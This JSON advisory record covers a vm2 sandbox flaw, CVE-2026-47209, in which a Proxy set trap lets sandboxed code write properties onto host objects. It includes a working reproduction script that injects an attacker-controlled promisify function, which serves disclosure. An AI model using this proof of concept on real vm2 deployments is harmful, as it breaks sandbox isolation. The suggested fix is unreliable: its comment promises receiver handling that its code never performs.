{"id":"CVE-2026-47209","aliases":["GHSA-c4cf-2hgv-2qv6"],"url":"https://o3.security/vulnerability/CVE-2026-47209","summary":"vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","details":"## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: 'receiver' is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r => console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === 'constructor' && thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```","published":"2026-06-12T14:14:06.455Z","modified":"2026-08-12T03:51:11.872027203Z","cvss":{"score":8.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"},"epss":{"score":0.00287,"percentile":0.21382,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.4"}],"fix":{"url":"https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22","label":"patriksimek/vm2@26d0318"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47209.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47209"},{"type":"FIX","url":"https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.872027203Z"}}